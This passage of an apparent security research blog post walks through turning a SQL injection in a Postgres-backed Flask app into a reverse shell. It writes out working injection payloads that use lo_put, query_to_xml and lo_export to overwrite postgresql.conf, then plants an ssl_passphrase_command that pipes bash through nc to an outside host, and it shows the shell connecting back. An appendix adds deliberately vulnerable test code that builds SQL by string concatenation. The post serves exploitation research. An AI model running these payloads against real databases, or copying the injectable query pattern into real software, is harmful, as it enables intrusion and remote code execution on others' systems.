curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,1740,'\x2d454e44205253412050524956415445204b45592d2d2d2d2d0a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"

Double check that the uploaded key makes sense:

:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''43210''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
    perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' | 
    perl -pe 's/^.*?<data>(.*?)/$1/g' | 
    while read i; do echo $i | base64 -d; done | md5sum
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2597  100  2597    0     0   507k      0 --:--:-- --:--:-- --:--:--  634k
9f80a502993d721ee45e2c03c0da66c0  -
:~$ md5sum private_passphrase.key 
9f80a502993d721ee45e2c03c0da66c0  private_passphrase.key

Sweet. As.

Step three - update the config file

Since the config file is already loaded into a large object, we can append the ssl_passphrase_command and ssl_passphrase_command_supports_reload commands to the end of the object. Inserting a # at the right offset will comment out the original private key definition, then we can append the new one at the end.

Let’s start by figuring out the comment offset:

:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | 
    perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' | 
    perl -pe 's/^.*?<data>(.*?)/$1/g' | 
    while read i; do echo $i | base64 -d; done  >postgres.conf
:~$ grep -b -o ssl_key_file postgres.conf
3968:ssl_key_file
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,3968,'\x23'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"

Now we can append the three lines to the config:

:~$ wc -c postgres.conf
24193 postgres.conf
:~$ I=0; echo -e "ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'\nssl_passphrase_command_supports_reload = on\nssl_passphrase_command = 'bash -c \"test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0\"'" | 
    xxd -p | while read line
        do echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,$((24193+$I)),'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\""; I=$(($I+30))
    done
curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24193,'\x73736c5f636572745f66696c65203d20272f7661722f6c69622f706f7374'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
...snip...
curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24463,'\x6974203027220a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"

After executing the above, we can double check that the object has been updated successfully:

:~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
    perl -pe 's/[\r\n]//g; s/<\/data>/\n/g'  | 
    perl -pe 's/^.*?<data>(.*?)/$1/g' | 
    while read i; do echo $i | base64 -d; done |grep ssl
ssl = on
#ssl_ca_file = ''
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
#ssl_crl_file = ''
#sl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
#ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers
#ssl_prefer_server_ciphers = on
#ssl_ecdh_curve = 'prime256v1'
#ssl_dh_params_file = ''
#ssl_passphrase_command = ''
#ssl_passphrase_command_supports_reload = on
ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"'

Fantastic. Moving on.

Step Four - write the files out to the filesystem

This part should be relatively straight forward, use lo_export to spool the files out to the file-system. 16442 is the config OID and 43210 is the private key:

:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16442,'/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(43210,'/var/lib/postgresql/11/main/PG_VERSION')=%271%27)%20THEN%20name%20ELSE%20note%20END)"

If, like me, you suffer from exploit pessimism, this would be the point where you re-download those files to double check everything is correct.

Step Five - Execute!

Last step is to issue select pg_reload() and hopefully receive the shell!

:~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_reload_conf()',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" 
ERROR:  invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <pg_reload_conf>true</pg_reload_conf>
</row>

"
doi@djubre:~$ ncat -vv -k -l -p 8000
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 192.168.122.7.
Ncat: Connection from 192.168.122.7:44166.
id
uid=108(postgres) gid=114(postgres) groups=114(postgres),113(ssl-cert)
ls -l
total 84
drwx------ 6 postgres postgres 4096 May  1 23:50 base
drwx------ 2 postgres postgres 4096 May  4 20:37 global
drwx------ 2 postgres postgres 4096 May  1 16:31 pg_commit_ts
drwx------ 2 postgres postgres 4096 May  1 16:31 pg_dynshmem
drwx------ 4 postgres postgres 4096 May  4 22:56 pg_logical
drwx------ 4 postgres postgres 4096 May  1 16:31 pg_multixact
drwx------ 2 postgres postgres 4096 May  4 20:36 pg_notify
drwx------ 2 postgres postgres 4096 May  1 16:31 pg_replslot
drwx------ 2 postgres postgres 4096 May  1 16:31 pg_serial
drwx------ 2 postgres postgres 4096 May  1 16:31 pg_snapshots
drwx------ 2 postgres postgres 4096 May  4 20:36 pg_stat
drwx------ 2 postgres postgres 4096 May  1 16:31 pg_stat_tmp
drwx------ 2 postgres postgres 4096 May  1 16:31 pg_subtrans
drwx------ 2 postgres postgres 4096 May  1 16:31 pg_tblspc
drwx------ 2 postgres postgres 4096 May  1 16:31 pg_twophase
-rw------- 1 postgres postgres 1766 May  4 22:48 PG_VERSION
drwx------ 3 postgres postgres 4096 May  1 16:31 pg_wal
drwx------ 2 postgres postgres 4096 May  1 16:31 pg_xact
-rw------- 1 postgres postgres   88 May  1 16:31 postgresql.auto.conf
-rw------- 1 postgres postgres  130 May  4 20:36 postmaster.opts
-rw------- 1 postgres postgres  108 May  4 20:36 postmaster.pid

And the obligatory exploit GIF:

Summary

So there you have it, a few interesting techniques we used to exploit an SQLi against a Postgres DB, without ever executing ‘CREATE’, ‘INSERT’, or ‘UPDATE’. This exercise was certainly interesting, and digging through Postgres internals to exploit an SQLi was pretty fun.

A pull request will be sent to the PayloadsAllTheThings GitHub repo with info on some of these techniques.

Happy hacking!

Appendix - Dump all Postgres functions and find their corresponding methods

The majority of this post came from dumping all functions available in a default Postgres install and trying to find things that look interested and can be executed by a default DB user. You, too, can dump all the postgres functions using the following SQL:

SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name;

After finding an interesting function, its usually fairly easy to locate within the source tree. Using lo_import as an example:

:~/targets/postgresql-11-11.7/src$ grep -a2 lo_import include/catalog/pg_proc.dat

{ oid => '764', descr => 'large object import',
  proname => 'lo_import', provolatile => 'v', proparallel => 'u',
  prorettype => 'oid', proargtypes => 'text', prosrc => 'be_lo_import' },
{ oid => '767', descr => 'large object import',
  proname => 'lo_import', provolatile => 'v', proparallel => 'u',
  prorettype => 'oid', proargtypes => 'text oid',
  prosrc => 'be_lo_import_with_oid' },
{ oid => '765', descr => 'large object export',
  proname => 'lo_export', provolatile => 'v', proparallel => 'u',

be_lo_import is the method we’re after, which is defined in backend/libpq/be-fsstubs.c:

386 /*
387  * lo_import -
388  *    imports a file as an (inversion) large object.
389  */
390 Datum
391 be_lo_import(PG_FUNCTION_ARGS)
392 {
393     text       *filename = PG_GETARG_TEXT_PP(0);
394 
395     PG_RETURN_OID(lo_import_internal(filename, InvalidOid));
396 }

You can look at the proargtypes in pg_proc.dat to get an idea of what input a function expects.

Appendix - Test code

If you want to have a play with these tricks yourself, you can use the following example code. This is a simple Flask app vulnerable to SQL injection that was used to demonstrate the SQLi tricks through this post:

# create the DB table with:
# CREATE TABLE animals(    id serial PRIMARY KEY,    name VARCHAR (50) UNIQUE NOT NULL,    note VARCHAR (500) NOT NULL,    created_on TIMESTAMP NOT NULL);
# insert into animals (name, note, created_on) values ('dog', 'is a good dog', now());
# insert into animals (name, note, created_on) values ('cat', 'adorable, if passive aggressive', now());
# insert into animals (name, note, created_on) values ('fish', 'fish go blub', now());
# insert into animals (name, note, created_on) values ('whale', 'also go blub', now());
# insert into animals (name, note, created_on) values ('shrimp', 'also go blub', now());
# insert into animals (name, note, created_on) values ('giraffe', 'long neck, neato spots', now());
# insert into animals (name, note, created_on) values ('rock', 'TICKET 1143 rock is not animal', now());

import psycopg2
from flask import Flask
from flask import request
from flask import Response
app = Flask(__name__)

host = "127.0.0.1"
port = "5432"
dbname = "testdb"
user = "testuser"
pw = whateveryousetthetestuserpasswordto
conn = psycopg2.connect(host=host, port=port, dbname=dbname, user=user, password=pw)

cols = ['id','name','note','created_on']

@app.route("/")
def index():
    result = "<h1> Test some stuff </h1>"
    order = request.args.get("order")
    sort = request.args.get("sort")

    sqlquery = "select * from animals";

    if order in cols:
        sqlquery = sqlquery + " order by " + order
        if sort:
            sqlquery = sqlquery + " " + sort

    cur = conn.cursor()

    try: 
        cur.execute(sqlquery)
    except psycopg2.Error as e: 
        conn.rollback()
        return Response(e.pgerror, mimetype='text/plain')

    result = result + "<table>"
    result = result + "<th>id</th>"
    result = result + "<th>name</th>"
    result = result + "<th>note</th>"
    result = result + "<th>created</th>"

    rows = cur.fetchall()

    for row in rows:
        result = result + "<tr>"
        result = result + "<td>" + str(row[0]) +"</td>"
        result = result + "<td>" + row[1] + "</td>"
        result = result + "<td>" + row[2] + "</td>"
        result = result + "<td>" + row[3].strftime("%d-%b-%Y (%H:%M:%S.%f)") + "</td>"
        result = result + "</tr>"
 
    result = result + "</table>"

    conn.commit()
    cur.close()

    return result

if __name__ == "__main__":
    app.run()


Follow us on LinkedIn